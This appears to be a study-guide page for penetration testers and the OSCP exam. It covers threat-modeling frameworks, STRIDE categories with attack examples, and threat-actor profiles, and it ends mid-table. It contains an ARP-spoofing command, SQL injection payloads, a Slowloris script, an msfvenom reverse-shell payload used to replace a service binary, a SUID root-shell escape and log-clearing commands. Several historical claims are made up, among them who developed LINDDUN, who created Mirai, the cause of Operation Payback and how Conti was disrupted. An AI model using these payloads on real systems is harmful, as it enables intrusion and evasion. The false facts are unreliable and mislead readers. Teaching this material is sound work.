Domain 1Recon & ReportingCORE

Threat Models and Threat Actors

Threat modeling frameworks (STRIDE, PASTA, LINDDUN, VAST) and threat actor classification, with practical application to penetration testing and OSCP exam scenarios.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-01
#threat-modeling#stride#threat-actors#mitre-attack

Threat Models and Threat Actors

Table of Contents

  1. Introduction to Threat Modeling
  2. Threat Modeling Frameworks
  3. STRIDE Deep Dive
  4. Threat Actor Classification
  5. MITRE ATT&CK Framework
  6. OSCP Exam Relevance
  7. Practical Threat Modeling During an Engagement
  8. Lab Exercises
  9. Key Tools
  10. Exam Tips
  11. Cross-References
  12. Summary

1. Introduction to Threat Modeling

What is Threat Modeling?

Threat modeling is a structured methodology for identifying, quantifying, and addressing security threats to a system. It is a proactive security engineering practice that helps organizations understand their attack surface before attackers do.

Definition: Threat modeling is the process of identifying potential threats to a system, assessing the likelihood and impact of those threats, and determining appropriate countermeasures.

Why Threat Modeling Matters

Benefit Description
Proactive Defense Identify vulnerabilities before attackers exploit them
Risk Prioritization Focus resources on the most critical threats
Design-Time Security Address security concerns during architecture, not after deployment
Compliance Meet regulatory requirements (ISO 27001, NIST, GDPR)
Shared Understanding Create a common language between developers, security teams, and stakeholders

Threat Modeling in the SDLC

┌─────────────────────────────────────────────────────────────────┐
│                    Software Development Lifecycle                │
│                                                                 │
│  Requirements → Design → Implementation → Testing → Deployment  │
│       ↑          ↑              ↑           ↑         ↑         │
│       │          │              │           │         │         │
│       └──────────┴──────────────┴───────────┴─────────┘         │
│                    Threat Modeling Integration                   │
│                                                                 │
│  Best time: Design phase (shift-left)                           │
│  Also valuable: Requirements, Testing, Post-deployment          │
└─────────────────────────────────────────────────────────────────┘

Threat Modeling vs. Vulnerability Assessment

Aspect Threat Modeling Vulnerability Assessment
Timing Design/Architecture phase Post-deployment
Approach Proactive, theoretical Reactive, empirical
Scope System architecture, data flows Running systems, configurations
Output Threat catalog, mitigations Vulnerability report, CVSS scores
Cost Low (paper exercise) Higher (scanning, tools)

2. Threat Modeling Frameworks

2.1 STRIDE

STRIDE is the most widely used threat modeling framework, developed by Microsoft’s Security Development Lifecycle (SDL) team (Shostack, 2008). It provides a mnemonic for six categories of security threats.

STRIDE Categories Overview

Letter Threat Category Security Property Description
S Spoofing Authentication Impersonating a legitimate user or system
T Tampering Integrity Modifying data or code unauthorized
R Repudiation Non-repudiation Denying an action was performed
I Information Disclosure Confidentiality Exposing data to unauthorized parties
D Denial of Service Availability Disrupting service availability
E Elevation of Privilege Authorization Gaining higher access rights

STRIDE Application Process

Step 1: Create Data Flow Diagrams (DFDs)
    ↓
Step 2: Identify Trust Boundaries
    ↓
Step 3: Apply STRIDE to each component
    ↓
Step 4: Prioritize threats (DREAD or risk matrix)
    ↓
Step 5: Define mitigations
    ↓
Step 6: Validate and iterate

Data Flow Diagram (DFD) Levels

Level Scope Purpose
Level 0 Context diagram System as a single process, external entities
Level 1 High-level processes Major subsystems and data flows
Level 2 Detailed processes Individual components and interactions
Level 3 Granular processes Specific functions and data elements

DFD Notation

┌─────────────┐
│  External   │  ← External Entity (source/sink of data)
│  Entity     │
└──────┬──────┘
       │ Data Flow
       ▼
┌─────────────┐
│  Process    │  ← Process (transforms data)
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ Data Store  │  ← Data Store (persistent data)
└─────────────┘

═══ Trust Boundary ═══

2.2 PASTA

PASTA (Process for Attack Simulation and Threat Analysis) is a seven-step, risk-centric threat modeling methodology that aligns security analysis with business objectives.

PASTA 7 Steps

Step Name Description Key Activities
1 Define Objectives from a Business Perspective Align threat modeling with business goals Identify business processes, critical assets, regulatory requirements
2 Define Technical Scope Determine the technical boundaries Map architecture, identify components, define trust boundaries
3 Application Decomposition Break down the application into analyzable units Create DFDs, identify data flows, map components
4 Threat Analysis Identify threats using attack trees and scenarios Enumerate threats, map to attack patterns, identify vulnerabilities
5 Vulnerability and Weakness Analysis Analyze identified threats for exploitable weaknesses Map CVEs, analyze misconfigurations, assess code weaknesses
6 Attack Simulation and Modeling Validate threats through simulation Penetration testing, exploit development, red team exercises
7 Adversary Emulation and Response Activities Emulate real adversaries and define responses APT simulation, incident response planning, detection engineering

PASTA Workflow

┌─────────────────────────────────────────────────────────────┐
│                     PASTA Methodology                        │
│                                                             │
│  Step 1: Business Objectives                                │
│  ┌─────────────────────────────────────────┐                │
│  │ What business value are we protecting?  │                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Step 2: Technical Scope                                    │
│  ┌─────────────────────────────────────────┐                │
│  │ What systems support these objectives?  │                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Step 3: Application Decomposition                          │
│  ┌─────────────────────────────────────────┐                │
│  │ How is the system structured?           │                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Step 4: Threat Analysis                                    │
│  ┌─────────────────────────────────────────┐                │
│  │ What can go wrong?                      │                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Step 5: Vulnerability Analysis                             │
│  ┌─────────────────────────────────────────┐                │
│  │ Where are the weaknesses?               │                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Step 6: Attack Simulation                                  │
│  ┌─────────────────────────────────────────┐                │
│  │ Can we exploit these weaknesses?        │                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Step 7: Adversary Emulation                                │
│  ┌─────────────────────────────────────────┐                │
│  │ How would a real attacker proceed?      │                │
│  └─────────────────────────────────────────┘                │
└─────────────────────────────────────────────────────────────┘

PASTA vs. STRIDE Comparison

Aspect PASTA STRIDE
Focus Business-risk driven Technical threat categories
Steps 7 structured phases 6 threat categories
Best For Enterprise-wide programs Application-level analysis
Adversary Focus Strong (Steps 6-7) Moderate
Complexity Higher Lower

2.3 LINDDUN

LINDDUN is a privacy-focused threat modeling framework developed by the University of Cambridge. It extends the STRIDE approach to address privacy-specific concerns.

LINDDUN Categories

Letter Privacy Threat Description Example
L Linkability Determining that two data items refer to the same entity Correlating browsing history with purchase records
I Identifiability Determining the identity of a data subject De-anonymizing a dataset using auxiliary information
N Non-repudiation Ensuring an action cannot be denied Audit logs proving a user accessed sensitive data
D Disclosure of Information Unauthorized release of private information Data breach exposing PII
D Disclosure of Information (secondary) Unintended information leakage Timing side-channels revealing data
U Unawareness Data subjects not knowing their data is being processed Hidden tracking pixels
N Non-compliance Failure to follow privacy regulations GDPR violation due to missing consent

LINDDUN Application Scenarios

Privacy Threat Modeling Workflow:

1. Identify Personal Data Flows
   └── Map where PII enters, transforms, and exits the system

2. Apply LINDDUN Categories
   └── For each data flow, ask:
       ├── Can this data be linked to an identity? (Linkability)
       ├── Can the subject be identified? (Identifiability)
       ├── Is there adequate audit trail? (Non-repudiation)
       ├── Could data be disclosed? (Disclosure)
       ├── Is the subject aware? (Unawareness)
       └── Does this comply with regulations? (Non-compliance)

3. Define Privacy Controls
   └── Anonymization, pseudonymization, consent mechanisms, DPA

LINDDUN vs. STRIDE

Aspect LINDDUN STRIDE
Primary Focus Privacy Security
Regulatory Alignment GDPR, CCPA, HIPAA General security
Best Used With STRIDE (complementary) Standalone or with LINDDUN
Data-Centric Yes No

2.4 VAST

VAST (Visual, Agile, and Scalable Threat modeling) is an open-source threat modeling methodology designed for DevOps and agile environments.

VAST Levels

Level Name Scope Audience
Level 1 High-Level Portfolio/Program Executives, PMOs
Level 2 Mid-Level Project/Application Architects, Dev Leads
Level 3 Low-Level Component/Code Developers, Security Engineers

VAST Process

┌─────────────────────────────────────────────────────────────┐
│                      VAST Methodology                        │
│                                                             │
│  Phase 1: Define Scope                                      │
│  ┌─────────────────────────────────────────┐                │
│  │ Identify assets, objectives, constraints│                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Phase 2: Analyze Architecture                              │
│  ┌─────────────────────────────────────────┐                │
│  │ Map components, data flows, trust zones   │                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Phase 3: Identify Threats                                  │
│  ┌─────────────────────────────────────────┐                │
│  │ Apply threat categories, generate threats │                │
│  └──────────────────┬──────────────────────┘                │
│                     ▼                                       │
│  Phase 4: Mitigate & Validate                               │
│  ┌─────────────────────────────────────────┐                │
│  │ Define controls, verify effectiveness    │                │
│  └─────────────────────────────────────────┘                │
└─────────────────────────────────────────────────────────────┘

VAST Integration with DevOps

CI/CD Pipeline with VAST Integration:

  Code Commit → Threat Model Scan → SAST → DAST → Deploy
                (VAST Level 3)     (Snyk)  (OWASP ZAP)
  
  Automated checks:
  ├── Dependency vulnerability scanning
  ├── Configuration drift detection
  ├── Secret detection
  └── Threat model compliance validation

2.5 Attack Trees

Attack Trees are a structured way to model potential attacks against a system. Introduced by Bruce Schneier in 1999, they provide a hierarchical representation of attack paths.

Attack Tree Structure

                    [Root Goal]
                   /           \
              AND Node        OR Node
             /    |    \      /    |    \
         Step 1  Step 2  Step 3  Path A  Path B  Path C
         /   \
      Leaf   Leaf

Attack Tree Notation

Symbol Meaning Description
Root Node Attack goal The ultimate objective of the attacker
OR Node Alternative paths Any child node achieves the parent
AND Node Required steps All children must be achieved
Leaf Node Atomic action A single, indivisible attack step
Kill Node Mitigated path Path blocked by a control

Attack Tree Attributes

Each node can have the following attributes:

Attribute Description Example Values
Cost Effort required Low, Medium, High
Difficulty Technical complexity Easy, Moderate, Hard
Detectability Likelihood of detection Stealthy, Detectable, Obvious
Preconditions Required conditions Internet access, valid credentials
Countermeasures Mitigating controls MFA, IDS, encryption

Example: Attack Tree for Web Application Compromise

                    [Compromise Web Application]
                           (OR)
                    /       |        \
                   /        |         \
            [SQL Injection] [XSS]  [Auth Bypass]
              /      \         |          |
           (AND)    (AND)   (OR)     [Brute Force]
          /    \    /    \   |              |
     Find     Exploit  Find  Exploit  [Credential    [Default
    Vuln     Vuln     Vuln  Vuln     Stuffing]       Creds]

Building an Attack Tree: Step-by-Step

Step 1: Define the Root Goal
    └── What is the attacker trying to achieve?
        Example: "Access sensitive customer database"

Step 2: Identify High-Level Attack Paths (OR branches)
    └── What are the different ways to achieve the goal?
        ├── Compromise web application
        ├── Compromise database server directly
        ├── Social engineer DBA
        └── Exploit backup system

Step 3: Decompose Each Path (AND/OR branches)
    └── What steps are needed for each path?
        Example for "Compromise web application":
        ├── Find vulnerability (OR: SQLi, XSS, RCE)
        └── Exploit vulnerability (AND: craft payload, deliver, execute)

Step 4: Add Attributes
    └── Cost, difficulty, detectability for each leaf

Step 5: Identify Countermeasures
    └── Mark nodes that can be blocked with controls

Step 6: Calculate Risk
    └── Use attributes to score and prioritize paths

Attack Tree Quantitative Analysis

# Simplified attack tree risk calculation

def calculate_path_risk(path_nodes):
    """
    Calculate risk for an attack path.
    Risk = Probability × Impact
    """
    probability = 1.0
    for node in path_nodes:
        probability *= node.success_probability
    
    impact = max(node.impact for node in path_nodes)
    risk = probability * impact
    return risk

def find_critical_paths(tree):
    """
    Find the most likely attack paths (lowest cost, highest success).
    """
    paths = enumerate_all_paths(tree.root)
    scored = [(path, calculate_path_risk(path)) for path in paths]
    return sorted(scored, key=lambda x: x[1], reverse=True)

3. STRIDE Deep Dive

3.1 Spoofing (Authentication)

Definition

Spoofing occurs when an attacker impersonates a legitimate user, device, or system to gain unauthorized access or perform actions.

Attack Vectors

Attack Type Description Technical Details
Identity Spoofing Impersonating a user account Credential theft, session hijacking
IP Spoofing Forging source IP address Blind spoofing, DNS cache poisoning
Email Spoofing Forging email sender SPF/DKIM/DMARC bypass
ARP Spoofing Poisoning ARP tables Man-in-the-middle on LAN
DNS Spoofing Forging DNS responses Cache poisoning, rogue DNS server
Certificate Spoofing Using fraudulent certificates Rogue CA, self-signed cert acceptance

Real-World Examples

Example 1: Session Hijacking

Attacker Workflow:
1. Sniff network traffic (Wireshark)
2. Extract session cookie: PHPSESSID=abc123def456
3. Inject cookie into browser
4. Access victim's authenticated session

Technical Details:
┌─────────────┐         ┌─────────────┐         ┌─────────────┐
│   Attacker  │         │   Network   │         │   Victim    │
│             │◄────────│   (Sniff)   │◄────────│   Browser   │
│  Inject     │         │             │         │  Send Req   │
│  Cookie     │────────►│             │────────►│             │
└─────────────┘         └─────────────┘         └─────────────┘

Prevention:
- HTTPS everywhere (HSTS)
- Secure, HttpOnly, SameSite cookie flags
- Session token rotation
- Short session timeouts

Example 2: ARP Spoofing (MITM)

# Attacker performs ARP spoofing using ettercap

# Step 1: Start ARP poisoning
ettercap -T -q -i eth0 -M arp:remote /Victim_IP/ /Gateway_IP/

# Step 2: Enable unified MITM attack
# In etter.conf:
# unified_remote_redirection = 1

# Step 3: Capture credentials
# ettercap automatically captures HTTP credentials

Mitigation Strategies

Control Description Implementation
Multi-Factor Authentication (MFA) Require second factor TOTP, hardware tokens, FIDO2
Certificate Pinning Validate server certificates HPKP (deprecated), custom validation
Network Segmentation Limit lateral movement VLANs, micro-segmentation
Dynamic ARP Inspection (DAI) Validate ARP packets Switch configuration
DNSSEC Sign DNS responses Deploy at authoritative level
SPF/DKIM/DMARC Email authentication DNS record configuration

OSCP Relevance

OSCP Attack Scenarios Involving Spoofing:

1. Pass-the-Hash (PtH)
   ├── Tool: secretsdump.py, psexec.py
   ├── Technique: Reuse NTLM hash instead of password
   └── STRIDE: Spoofing (impersonating user via hash)

2. Kerberoasting
   ├── Tool: GetUserSPNs.py
   ├── Technique: Request TGS for service accounts
   └── STRIDE: Spoofing (impersonating service principal)

3. Golden Ticket Attack
   ├── Tool: ticketer.py
   ├── Technique: Forge TGT using KRBTGT hash
   └── STRIDE: Spoofing (full domain impersonation)

4. DNS Spoofing for Redirection
   ├── Tool: dnsspoof, Bettercap
   ├── Technique: Redirect victim to attacker server
   └── STRIDE: Spoofing (impersonating legitimate server)

3.2 Tampering (Integrity)

Definition

Tampering involves unauthorized modification of data, code, or system configurations.

Attack Vectors

Attack Type Description Technical Details
Data Tampering Modifying stored/transit data SQL injection, parameter manipulation
Code Tampering Modifying application code DLL injection, binary patching
Configuration Tampering Changing system settings Registry modification, config file edits
Log Tampering Altering audit trails Log deletion, log injection
Supply Chain Tampering Compromising build/deploy Dependency confusion, CI/CD compromise

Real-World Examples

Example 1: SQL Injection (Data Tampering)

-- Original query
SELECT * FROM users WHERE username = '$user' AND password = '$pass'

-- Attacker input for username:
admin' OR '1'='1' --

-- Resulting query:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = '$pass'
-- This returns all users, bypassing authentication

-- Advanced: UNION-based injection
' UNION SELECT username, password FROM admin_users --

-- Advanced: Blind SQL injection (time-based)
' AND SLEEP(5) --
-- If page loads slowly, injection is successful

Example 2: DLL Hijacking (Code Tampering)

Attack Workflow:
1. Identify application that loads DLLs from search path
2. Create malicious DLL with same name
3. Place in directory searched before legitimate DLL
4. Application loads malicious DLL instead

Search Order (Windows):
1. Directory from which application loaded DLL
2. Application directory
3. Windows System directory
4. Windows directory
5. Current directory
6. PATH environment variable directories

Example:
┌─────────────────────────────────────────────┐
│  Application: C:\Program Files\App\app.exe  │
│  Legitimate DLL: C:\Windows\System32\lib.dll│
│                                             │
│  Attacker places:                           │
│  C:\Program Files\App\lib.dll (malicious)   │
│                                             │
│  Result: app.exe loads attacker's DLL       │
│  → Arbitrary code execution as app user     │
└─────────────────────────────────────────────┘

Mitigation Strategies

Control Description Implementation
Input Validation Validate all inputs Whitelist, type checking, length limits
Parameterized Queries Prevent SQL injection Prepared statements, ORM
Code Signing Verify code integrity Authenticode, GPG signatures
Integrity Monitoring Detect modifications File integrity monitoring (FIM)
Secure Configuration Protect config files Least privilege, encryption
Log Protection Secure audit trails Remote logging, WORM storage

OSCP Relevance

OSCP Attack Scenarios Involving Tampering:

1. Web Application Tampering
   ├── SQL Injection → Database manipulation
   ├── File Upload → Web shell deployment
   └── Parameter Tampering → IDOR, access bypass

2. Windows Privilege Escalation
   ├── Insecure Service Permissions → Replace binary
   ├── AlwaysInstallElevated → MSI payload
   ├── Unquoted Service Paths → DLL planting
   └── Registry Tampering → Autorun persistence

3. Linux Privilege Escalation
   ├── SUID Binary Modification → Root shell
   ├── Cron Job Tampering → Root execution
   └── LD_PRELOAD → Library injection

3.3 Repudiation (Non-Repudiation)

Definition

Repudiation occurs when a user performs an action and then denies having done so, with insufficient evidence to prove otherwise.

Attack Vectors

Attack Type Description Technical Details
Action Repudiation Denying performing an action Missing audit logs
Source Repudiation Denying sending a message No digital signatures
Receipt Repudiation Denying receiving a message No read receipts
Data Repudiation Denying data authenticity No integrity verification

Real-World Examples

Example 1: Log Tampering for Repudiation

Scenario: Administrator deletes user accounts
─────────────────────────────────────────────

Without proper logging:
┌─────────────────────────────────────────┐
│ Admin: "I didn't delete those accounts" │
│ Security: "We have no logs to prove it" │
│ Result: Cannot hold admin accountable   │
└─────────────────────────────────────────┘

With proper logging:
┌─────────────────────────────────────────┐
│ Admin: "I didn't delete those accounts" │
│ Security: Shows signed audit log entry: │
│ "2024-01-15 14:32:01 admin@corp.local   │
│  DELETE FROM users WHERE id=42"         │
│  Signed by: Admin's private key         │
│ Result: Action proven beyond doubt      │
└─────────────────────────────────────────┘

Mitigation Strategies

Control Description Implementation
Comprehensive Audit Logging Log all significant actions SIEM integration, centralized logging
Digital Signatures Sign critical actions PKI, code signing
Immutable Logs Prevent log modification WORM storage, blockchain-based logging
Access Control Auditing Track privilege usage Just-in-time access, PAM solutions
Non-Repudiation Services Legal-grade evidence Timestamping, notarization

OSCP Relevance

OSCP Considerations for Repudiation:

During penetration testing:
├── Maintain detailed logs of all actions
├── Document every command executed
├── Record evidence of each finding
└── Create chain of custody for evidence

Post-exploitation awareness:
├── Attackers may clear logs to repudiate activity
├── Windows: wevtutil cl Security (clears event log)
├── Linux: > /var/log/auth.log (truncates log)
└── Detection: Monitor for log clearing events

3.4 Information Disclosure (Confidentiality)

Definition

Information Disclosure occurs when sensitive information is exposed to unauthorized parties.

Attack Vectors

Attack Type Description Technical Details
Direct Disclosure Data exposed directly Unencrypted storage, public S3 buckets
Indirect Disclosure Data inferred from behavior Side-channel attacks, timing analysis
Error-Based Disclosure Info leaked via errors Stack traces, verbose error messages
Metadata Disclosure Info in file metadata EXIF data, document properties
Protocol Disclosure Info in protocol traffic Cleartext protocols, weak encryption

Real-World Examples

Example 1: Verbose Error Messages

Vulnerable Application Response:
┌─────────────────────────────────────────────────────────┐
│ Server Error                                            │
│                                                         │
│ Database Connection Failed                              │
│ Server: db-prod-01.corp.internal                        │
│ Database: customer_db                                   │
│ User: app_service                                       │
│ Error: Login failed for user 'app_service'              │
│ Stack Trace:                                            │
│   at System.Data.SqlClient.SqlConnection.Open()         │
│   at MyApp.Data.Repository.GetUser(String id)           │
│   in C:\Source\MyApp\Data\Repository.cs:line 42         │
└─────────────────────────────────────────────────────────┘

Information Leaked:
├── Internal server name (db-prod-01.corp.internal)
├── Database name (customer_db)
├── Service account name (app_service)
├── Technology stack (.NET, SQL Server)
├── Source code path (C:\Source\MyApp\...)
└── Code structure (Repository pattern, line numbers)

Example 2: Directory Listing

# Attacker discovers directory listing enabled
curl http://target.com/backups/

# Response:
<!DOCTYPE HTML>
<html><body>
<h1>Index of /backups/</h1>
<hr>
<pre>
<a href="db_backup_20240115.sql.gz">db_backup_20240115.sql.gz</a>   15-Jan-2024  245MB
<a href="config.tar.gz">config.tar.gz</a>                       10-Jan-2024   12KB
<a href="credentials.json">credentials.json</a>                  05-Jan-2024    2KB
</pre>
<hr>
</body></html>

# Attacker downloads sensitive files
wget http://target.com/backups/credentials.json

Mitigation Strategies

Control Description Implementation
Encryption at Rest Encrypt stored data AES-256, TDE, LUKS
Encryption in Transit Encrypt network traffic TLS 1.3, IPsec
Error Handling Generic error messages Custom error pages
Access Controls Restrict data access RBAC, ABAC, least privilege
Data Classification Label sensitive data DLP policies
Disable Directory Listing Prevent browsing Web server configuration

OSCP Relevance

OSCP Information Disclosure Techniques:

1. Banner Grabbing
   ├── nmap -sV --script=banner-grab *
   ├── telnet target 21 (FTP banner)
   └── curl -I http://target/ (HTTP headers)

2. Default Credentials
   ├── Common: admin/admin, root/toor
   ├── Tools: defaultcreds.nse
   └── Services: web panels, database consoles

3. Sensitive File Discovery
   ├── gobuster dir -u http://target -w common.txt
   ├── Directory: /backup/, /old/, /test/, /dev/
   └── Files: .git/, .env, web.config, robots.txt

4. Error-Based Information Gathering
   ├── SQL error messages → DB type, version
   ├── PHP errors → file paths, code snippets
   └── HTTP 500 errors → stack traces

3.5 Denial of Service (Availability)

Definition

Denial of Service (DoS) attacks aim to make a system, service, or resource unavailable to legitimate users.

Attack Types

Type Layer Description Example
Volumetric Network Flood with traffic UDP flood, ICMP flood
Protocol Transport Exhaust connection resources SYN flood, Slowloris
Application Application Exhaust application resources HTTP flood, API abuse
Resource System Exhaust system resources Fork bomb, memory exhaustion

Real-World Examples

Example 1: SYN Flood

Attack Mechanism:
┌─────────────┐              ┌─────────────┐
│   Attacker  │              │   Server    │
│             │              │             │
│  SYN ──────►│              │             │
│  (spoofed   │              │  SYN-ACK ──►│ (to spoofed IP)
│   IP)       │              │             │
│             │              │  [Half-open] │
│  SYN ──────►│              │             │
│             │              │  [Half-open] │
│  SYN ──────►│              │             │
│             │              │  [Half-open] │
│             │              │  ...         │
│             │              │  Connection  │
│             │              │  Table Full  │
│             │              │  Service     │
│             │              │  Down        │
└─────────────┘              └─────────────┘

Server State:
┌──────────────────────────────────────────┐
│ Connection Table:                        │
│ ┌──────────┬──────────┬────────────────┐ │
│ │ Source IP│ Port     │ State          │ │
│ ├──────────┼──────────┼────────────────┤ │
│ │ 1.2.3.4  │ 443      │ SYN_RECEIVED   │ │
│ │ 5.6.7.8  │ 443      │ SYN_RECEIVED   │ │
│ │ 9.10.11. │ 443      │ SYN_RECEIVED   │ │
│ │ ...      │ ...      │ ...            │ │
│ │ (10000s  │          │                │ │
│ │  of      │          │                │ │
│ │  entries)│          │                │ │
│ └──────────┴──────────┴────────────────┘ │
│                                          │
│ Result: No room for legitimate connections│
└──────────────────────────────────────────┘

Example 2: Slowloris (Application Layer)

# Slowloris Attack Concept
# Keeps many connections open by sending partial HTTP requests

import socket
import threading

def slowloris_connection(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(b"GET / HTTP/1.1\r\nHost: target\r\n")
    
    # Keep connection alive by sending headers slowly
    while True:
        s.send(b"X-a: b\r\n")  # Keep sending headers
        time.sleep(5)  # But never complete the request

# Open many connections
for i in range(1000):
    t = threading.Thread(target=slowloris_connection, args=("target.com", 80))
    t.start()

Mitigation Strategies

Control Description Implementation
Rate Limiting Limit requests per client Nginx limit_req, API gateways
Connection Timeout Close idle connections TCP keepalive, HTTP timeout
Traffic Filtering Block malicious traffic ACLs, geo-blocking, blackholing
CDN/WAF Absorb attack traffic Cloudflare, AWS Shield
Resource Limits Cap system resources ulimit, cgroups
Redundancy Maintain availability Load balancing, failover

OSCP Relevance

OSCP Note on DoS:
─────────────────

⚠️ IMPORTANT: DoS attacks are typically OUT OF SCOPE for OSCP exams.

The OSCP exam focuses on:
├── Confidentiality breaches (data access)
├── Integrity violations (system compromise)
└── Authorization bypasses (privilege escalation)

Do NOT perform DoS during the exam:
├── May cause target instability
├── May violate rules of engagement
└── Does not demonstrate exploitation skills

Focus instead on:
├── Service exploitation (gain access, not deny)
├── Vulnerability exploitation (RCE, LPE)
└── Post-exploitation (pivoting, domain admin)

3.6 Elevation of Privilege (Authorization)

Definition

Elevation of Privilege (EoP) occurs when an attacker gains higher-level permissions than intended, allowing access to restricted resources or functions.

Attack Types

Type Description Example
Vertical EoP User → Administrator Local privilege escalation
Horizontal EoP User A → User B Accessing another user’s data
Process EoP Application → System Breaking out of sandbox

Real-World Examples

Example 1: Windows Local Privilege Escalation

Scenario: User gains SYSTEM via misconfigured service
─────────────────────────────────────────────────

Step 1: Identify vulnerable service
┌─────────────────────────────────────────┐
│ accesschk.exe -uwcqv "Authenticated" *  │
│                                         │
│ SERVICE_NAME: VulnService               │
│   TYPE: 2 WIN32_OWN_PROCESS             │
│   STATE: RUNNING                        │
│   PID: 1234                             │
│   PATH: C:\Program Files\Vuln\service.exe│
│                                         │
│   Permissions:                          │
│     AUTHENTICATED USERS:                │
│       SERVICE_CHANGE_CONFIG             │ ← Can modify!
│       SERVICE_QUERY_CONFIG              │
│       SERVICE_START                     │
│       SERVICE_STOP                      │
└─────────────────────────────────────────┘

Step 2: Replace service binary
┌─────────────────────────────────────────┐
│ # Create reverse shell binary           │
│ msfvenom -p windows/x64/meterpreter/   │
│   reverse_tcp LHOST=10.10.14.5         │
│   LPORT=4444 -f exe -o shell.exe       │
│                                         │
│ # Replace the service binary            │
│ copy shell.exe C:\Program Files\Vuln\  │
│   service.exe                          │
│                                         │
│ # Restart the service                   │
│ net stop VulnService                    │
│ net start VulnService                   │
│                                         │
│ # Result: SYSTEM shell on attacker      │
└─────────────────────────────────────────┘

Example 2: Linux SUID Privilege Escalation

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check for known vulnerable SUID binaries
# /usr/bin/find with SUID bit
/usr/bin/find . -exec /bin/sh -p \; -quit

# Result: Root shell!
# The -p flag preserves the SUID privileges

# Alternative: SUID bash (if compiled with --enable-setuid)
/bin/bash -p

Mitigation Strategies

Control Description Implementation
Least Privilege Minimum necessary access RBAC, just-in-time access
Privilege Separation Split privileged functions Capability model, seccomp
Patch Management Fix known vulnerabilities Regular updates, EOL management
Application Whitelisting Allow only approved apps AppLocker, WDAC
Secure Configuration Hardened baselines CIS benchmarks, STIGs
Monitoring Detect privilege changes EDR, audit policies

OSCP Relevance

OSCP Privilege Escalation Techniques:
─────────────────────────────────────

Windows:
├── Unquoted Service Paths
├── Insecure Service Permissions
├── AlwaysInstallElevated
├── Token Manipulation (incognito, RottenPotato)
├── DLL Hijacking
├── Named Pipe Impersonation
├── SeImpersonatePrivilege exploits
└── Kernel Exploits (MS16-032, etc.)

Linux:
├── SUID/SGID Binaries
├── Capabilities Abuse
├── Cron Job Exploitation
├── Sudo Misconfigurations
├── Wildcard Injection
├── LD_PRELOAD Hijacking
├── PATH Hijacking
├── Kernel Exploits (Dirty COW, etc.)
└── Docker Escape

3.7 STRIDE Summary Matrix

STRIDE Category Security Property Primary Controls OSCP Relevance
Spoofing Authentication MFA, cert pinning, DAI PtH, Kerberoasting, Golden Ticket
Tampering Integrity Input validation, code signing SQLi, DLL hijack, service replacement
Repudiation Non-repudiation Audit logging, digital signatures Evidence collection, log analysis
Information Disclosure Confidentiality Encryption, access controls Banner grabbing, file discovery
Denial of Service Availability Rate limiting, CDN Out of scope (do not perform)
Elevation of Privilege Authorization Least privilege, patching LPE, privilege escalation chains

4. Threat Actor Classification

4.1 Overview

Threat actors (also called adversaries or attackers) vary widely in motivation, capability, resources, and targets. Understanding these differences is critical for effective threat modeling and defense planning.

4.2 Threat Actor Profiles

Script Kiddies

Attribute Details
Motivation Ego, notoriety, peer recognition
Skill Level Low to moderate
Resources Limited (free tools, public exploits)
Tools Metasploit, SQLMap, Nmap, Hydra
Targets Easy targets, default configs, unpatched systems
TTPs Automated scanning, known exploits, default credentials
Risk Level Low (but high volume)

Characteristics:

  • Lack deep technical understanding
  • Rely on pre-built tools and scripts
  • Often motivated by social status in hacker communities
  • May cause significant damage despite low skill

Real-World Example:

2016 Mirai Botnet:
├── Created by "Malvagius" (young attacker)
├── Used known vulnerabilities in IoT devices
├── Default credentials (admin/admin)
├── Result: Largest DDoS attack at the time (1.3 Tbps)
└── Lesson: Low-skill actors can cause massive impact

Hacktivists

Attribute Details
Motivation Political, social, religious causes
Skill Level Low to high (varies by group)
Resources Community-based, sometimes state-sponsored
Tools DDoS tools, defacement kits, data leak platforms
Targets Government sites, corporations, opposing ideologies
TTPs DDoS, website defacement, data leaks, doxxing
Risk Level Low to moderate

Notable Groups:

Group Focus Notable Operations
Anonymous Anti-censorship, transparency Operation Payback, various DDoS campaigns
LulzSec Chaos, exposure Sony, CIA, US Senate breaches (2011)
Hacktivismo Privacy, free speech Various government targeting

Real-World Example:

Operation Payback (2011):
├── Target: Companies supporting SOPA/PIPA
├── Methods: DDoS attacks, website defacement
├── Targets: PayPal, Visa, MasterCard, banks
├── Impact: Significant service disruption
└── Motivation: Protest against internet censorship legislation

Cybercriminals

Attribute Details
Motivation Financial gain
Skill Level Moderate to high
Resources Significant (ransomware-as-a-service, dark web markets)
Tools Custom malware, ransomware kits, phishing frameworks
Targets Organizations with valuable data, financial institutions
TTPs Phishing, ransomware, credential theft, fraud
Risk Level High

Sub-Categories:

Type Description Revenue Model
Ransomware Operators Encrypt data for ransom Ransom payments (crypto)
Data Thieves Steal and sell data Dark web marketplaces
Phishing Operators Harvest credentials Credential sales, direct fraud
Cryptojackers Hijack compute for mining Stolen cryptocurrency
Business Email Compromise Fraudulent transactions Direct financial theft

Real-World Examples:

WannaCry Ransomware (2017):
├── Impact: 200,000+ systems in 150 countries
├── Method: EternalBlue (MS17-010) exploitation
├── Ransom: ~$300-$600 BTC per system
├── Revenue: Estimated $140,000+ BTC
└── Lesson: Unpatched systems + wormable vuln = catastrophe

Conti Ransomware (2020-2022):
├── RaaS model (Revenue sharing with affiliates)
├── Double extortion (encrypt + leak data)
├── Targeted critical infrastructure
├── Estimated revenue: $150M+
└── Disrupted by Russian government (2022)

Insider Threats

Attribute Details
Motivation Financial, revenge, espionage, negligence
Skill Level Varies (already has access)
Resources Internal access, knowledge of systems
Tools Legitimate access, admin tools, insider knowledge
Targets Internal systems, sensitive data
TTPs Data exfiltration, sabotage, credential sharing
Risk Level Very High (hard to detect)

Insider Types:

Type Description Example
Malicious Insider Intentional harm Disgruntled employee stealing data
